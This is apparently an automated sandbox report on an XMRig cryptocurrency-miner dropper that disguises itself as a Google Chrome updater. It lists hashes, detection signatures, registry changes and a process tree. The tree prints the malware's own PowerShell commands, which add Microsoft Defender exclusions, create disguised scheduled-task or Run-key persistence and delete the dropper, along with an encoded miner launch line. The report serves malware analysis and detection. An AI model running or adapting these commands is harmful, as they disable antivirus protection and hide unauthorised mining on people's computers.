xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1805s
max time network
1805s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs

description	pid	Process	procid_target
PID 4328 created 3424	4328	DLKFnAGYJBNTnxwq.exe	45
PID 4328 created 3424	4328	DLKFnAGYJBNTnxwq.exe	45
PID 4328 created 3424	4328	DLKFnAGYJBNTnxwq.exe	45
PID 4328 created 3424	4328	DLKFnAGYJBNTnxwq.exe	45
PID 1216 created 3424	1216	updater.exe	45
PID 1216 created 3424	1216	updater.exe	45
PID 1216 created 3424	1216	updater.exe	45
PID 1216 created 3424	1216	updater.exe	45

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral10/memory/3240-128-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-132-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-134-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-138-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-140-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-142-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-144-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-146-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-148-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-150-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-152-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-154-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-156-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-158-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-160-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-162-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-164-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-166-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-168-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-170-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-172-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-174-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-176-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-178-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-180-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-182-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-184-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-186-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig
behavioral10/memory/3240-188-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
1216	updater.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral10/memory/3240-122-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-128-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-132-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-134-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-138-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-140-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-142-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-144-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-146-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-148-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-150-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-152-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-154-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-156-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-158-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-160-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-162-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-164-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-166-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-168-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-170-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-172-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-174-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-176-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-178-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-180-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-182-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-184-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-186-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx
behavioral10/memory/3240-188-0x00007FF75B920000-0x00007FF75C114000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1216 set thread context of 3128	1216	updater.exe	110
PID 1216 set thread context of 3240	1216	updater.exe	115

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	DLKFnAGYJBNTnxwq.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4548	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
4328	DLKFnAGYJBNTnxwq.exe
4328	DLKFnAGYJBNTnxwq.exe
4136	powershell.exe
4136	powershell.exe
4328	DLKFnAGYJBNTnxwq.exe
4328	DLKFnAGYJBNTnxwq.exe
532	powershell.exe
532	powershell.exe
4328	DLKFnAGYJBNTnxwq.exe
4328	DLKFnAGYJBNTnxwq.exe
4328	DLKFnAGYJBNTnxwq.exe
4328	DLKFnAGYJBNTnxwq.exe
1616	powershell.exe
1616	powershell.exe
1216	updater.exe
1216	updater.exe
3456	powershell.exe
3456	powershell.exe
1216	updater.exe
1216	updater.exe
1108	powershell.exe
1108	powershell.exe
1216	updater.exe
1216	updater.exe
1216	updater.exe
1216	updater.exe
3128	conhost.exe
3128	conhost.exe
1216	updater.exe
1216	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
676	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4136	powershell.exe
Token: SeDebugPrivilege	532	powershell.exe
Token: SeIncreaseQuotaPrivilege	532	powershell.exe
Token: SeSecurityPrivilege	532	powershell.exe
Token: SeTakeOwnershipPrivilege	532	powershell.exe
Token: SeLoadDriverPrivilege	532	powershell.exe
Token: SeSystemProfilePrivilege	532	powershell.exe
Token: SeSystemtimePrivilege	532	powershell.exe
Token: SeProfSingleProcessPrivilege	532	powershell.exe
Token: SeIncBasePriorityPrivilege	532	powershell.exe
Token: SeCreatePagefilePrivilege	532	powershell.exe
Token: SeBackupPrivilege	532	powershell.exe
Token: SeRestorePrivilege	532	powershell.exe
Token: SeShutdownPrivilege	532	powershell.exe
Token: SeDebugPrivilege	532	powershell.exe
Token: SeSystemEnvironmentPrivilege	532	powershell.exe
Token: SeRemoteShutdownPrivilege	532	powershell.exe
Token: SeUndockPrivilege	532	powershell.exe
Token: SeManageVolumePrivilege	532	powershell.exe
Token: 33	532	powershell.exe
Token: 34	532	powershell.exe
Token: 35	532	powershell.exe
Token: 36	532	powershell.exe
Token: SeIncreaseQuotaPrivilege	532	powershell.exe
Token: SeSecurityPrivilege	532	powershell.exe
Token: SeTakeOwnershipPrivilege	532	powershell.exe
Token: SeLoadDriverPrivilege	532	powershell.exe
Token: SeSystemProfilePrivilege	532	powershell.exe
Token: SeSystemtimePrivilege	532	powershell.exe
Token: SeProfSingleProcessPrivilege	532	powershell.exe
Token: SeIncBasePriorityPrivilege	532	powershell.exe
Token: SeCreatePagefilePrivilege	532	powershell.exe
Token: SeBackupPrivilege	532	powershell.exe
Token: SeRestorePrivilege	532	powershell.exe
Token: SeShutdownPrivilege	532	powershell.exe
Token: SeDebugPrivilege	532	powershell.exe
Token: SeSystemEnvironmentPrivilege	532	powershell.exe
Token: SeRemoteShutdownPrivilege	532	powershell.exe
Token: SeUndockPrivilege	532	powershell.exe
Token: SeManageVolumePrivilege	532	powershell.exe
Token: 33	532	powershell.exe
Token: 34	532	powershell.exe
Token: 35	532	powershell.exe
Token: 36	532	powershell.exe
Token: SeIncreaseQuotaPrivilege	532	powershell.exe
Token: SeSecurityPrivilege	532	powershell.exe
Token: SeTakeOwnershipPrivilege	532	powershell.exe
Token: SeLoadDriverPrivilege	532	powershell.exe
Token: SeSystemProfilePrivilege	532	powershell.exe
Token: SeSystemtimePrivilege	532	powershell.exe
Token: SeProfSingleProcessPrivilege	532	powershell.exe
Token: SeIncBasePriorityPrivilege	532	powershell.exe
Token: SeCreatePagefilePrivilege	532	powershell.exe
Token: SeBackupPrivilege	532	powershell.exe
Token: SeRestorePrivilege	532	powershell.exe
Token: SeShutdownPrivilege	532	powershell.exe
Token: SeDebugPrivilege	532	powershell.exe
Token: SeSystemEnvironmentPrivilege	532	powershell.exe
Token: SeRemoteShutdownPrivilege	532	powershell.exe
Token: SeUndockPrivilege	532	powershell.exe
Token: SeManageVolumePrivilege	532	powershell.exe
Token: 33	532	powershell.exe
Token: 34	532	powershell.exe
Token: 35	532	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1420 wrote to memory of 3620	1420	cmd.exe	101
PID 1420 wrote to memory of 3620	1420	cmd.exe	101
PID 1616 wrote to memory of 372	1616	powershell.exe	102
PID 1616 wrote to memory of 372	1616	powershell.exe	102
PID 1216 wrote to memory of 3128	1216	updater.exe	110
PID 684 wrote to memory of 4548	684	cmd.exe	114
PID 684 wrote to memory of 4548	684	cmd.exe	114
PID 1216 wrote to memory of 3240	1216	updater.exe	115

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3424
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:4328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:532
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:3620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1616
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1108
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3128
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
    3⤵
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:684
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic PATH Win32_VideoController GET Name, VideoProcessor
      4⤵
      Detects videocard installed
      PID:4548
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:3240

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1216
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:5052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
539KB

MD5
2eda3d7cb767ae4d8263402655d7cdb6

SHA1
bdf06387cc9fc0b6aa95d95d0dac25f189b42c5d

SHA256
a0321efe73e23c80acdf0aadaa1cd3c1640b9fab6d9b10a3169c06b637b873f9

SHA512
4416cb7234fbc0a66fc8e3d6de2b5f8c199d79483c7ddc070bb42af2595221fca4befd20f67910fbea9b664aab469ec50d98f9dfbc8adb43ad501907996d02c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
1.3MB

MD5
dd699389c83b8f4dbdf6949c4284efc7

SHA1
5701f9e8bcee58ff32aa0e064312e0cac79c6872

SHA256
901cac10129b131f7689b1f1f3c3e3e7eff398e3a6b97da469e9645dea912a6b

SHA512
f5564e6c764e7c466a6d57cf45fa8dc589ee007c4cd899090401c1f670a5c506fc1381951fc791ca7b3c0b11c1c5ec887d46f12fab59c49156be441ef15692ef

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
